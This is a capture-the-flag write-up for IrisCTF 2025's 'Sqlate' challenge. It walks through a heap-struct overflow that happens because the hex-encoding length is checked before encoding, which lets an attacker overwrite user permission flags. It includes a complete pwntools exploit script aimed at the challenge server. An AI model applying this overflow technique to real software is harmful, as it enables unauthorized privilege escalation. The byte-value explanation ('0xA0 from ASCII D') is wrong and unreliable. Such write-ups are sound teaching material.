Sqlate IrisCTF 2025 (pwn)
This past week I played in IrisCTF 2025 and tackled a pwnable called “Sqlate”, authored by lambda. It was presented as a pastebin app, with the challenge title hinting at SQLite use — and as expected, SQL injection was a red herring. This writeup covers how I bypassed the intended flow by leveraging a length-check bug in the base16 encoding logic.
Description
World‘s most secure paste app.
Solution
We’re given source code for a paste app. The goal is to trigger the function action_sys
which will print the flag.
void action_sys() {
system("/usr/bin/cat flag");
}
From the program’s menu, we can see that there’s a permission check before calling this function:
case '7': {
if (!check_permissions(permission_root)) continue;
action_sys();
continue;
}
The check_permissions
function checks the current user’s flags:
bool check_permissions(const int perms) {
printf("Current Perms: %ldn", current_user.flags);
printf("Perms: %dn", perms);
printf("Current Userid: %dn", current_user.userId);
if ((current_user.flags & perms) != perms) {
printf("You don't have permissions to perform this action!n");
if (current_user.userId == -1) {
printf("You might need to login to unlock this.n");
}
return false;
}
return true;
}
You’re supposed to log in as admin to get root permissions. But we can’t guess or extract the password. That leaves us with these functions:
action_create
→ creates an entry in SQLiteaction_update
→ updates an entryaction_info
→ shows an entryaction_list
→ lists entries
Only update
looks promising. It lets you pick an encoding:
printf(
"Which modifier?\n"
"1) None\n"
"2) Hex\n"
"3) Base64\n"
"\n"
">"
);
There’s a logic bug in the Hex (modifier 2
) length check:
if (c == '3') {
char* temp = base64_encode(line_buffer);
if (strlen(temp) > 255) err(EXIT_FAILURE, "Attempted to overflow!");
strcpy(line_buffer, temp);
free(temp);
} else if (c == '2') {
if (strlen(line_buffer) > 192) err(EXIT_FAILURE, "Attempted to overflow!");
}
The check is done before hex encoding, so we can write 192 bytes → 384 hex characters, but the actual buffer is only 256 bytes:
struct paste {
int rowId;
char title[256];
char language[256];
char content[256];
};
Memory-wise, the user
struct follows the paste
struct:
struct user {
int userId;
uint64_t flags;
char username[256];
char password[256];
};
That means overflowing content
lets us overwrite flags
in current_user
. That’s how we gain elevated perms!
I overwrote the flags
with 0xA0 (from ASCII ‘D’), which gave current_user.flags = 16688
. But it turns out the required permission_root = 256
is satisfied by that flag because:
if ((current_user.flags & perms) != perms)
…passes, since (16688 & 256 = 256).
solve.py
from pwn import *
binary = './vuln'
context.binary = binary
#p = gdb.debug(binary, '''
# continue
#''')
p = remote('sqlate.chal.irisc.tf', 10000)
def send_menu_choice(choice):
p.recvuntil(b'> ')
p.sendline(str(choice).encode())
def create_paste(title, language, content):
send_menu_choice(1)
p.recvuntil(b"Enter Title: ")
p.sendline(title)
p.recvuntil(b"Enter Language: ")
p.sendline(language)
p.recvuntil(b"Enter Content: ")
p.sendline(content)
def update_paste(title, content, modifier):
send_menu_choice(2)
p.recvuntil(b">")
p.sendline(b"2")
p.recvuntil(b">")
p.sendline(str(modifier).encode())
p.recvuntil(b"Enter content: ")
p.sendline(content)
p.recvuntil(b"Enter Title: ")
p.sendline(title)
def list_all():
send_menu_choice(4)
raw_payload_D = b"D" * 146
log.info("Creating initial paste...")
create_paste(b"4", b"4", b"D")
log.info("Updating paste with malicious payload...")
update_paste(b"4", raw_payload_D, 2)
list_all()
send_menu_choice(7)
p.interactive()
Flag
This triggers action_sys
and prints the flag.
Writeup by XeroExecute
Challenge: Sqlate
CTF: IrisCTF 2025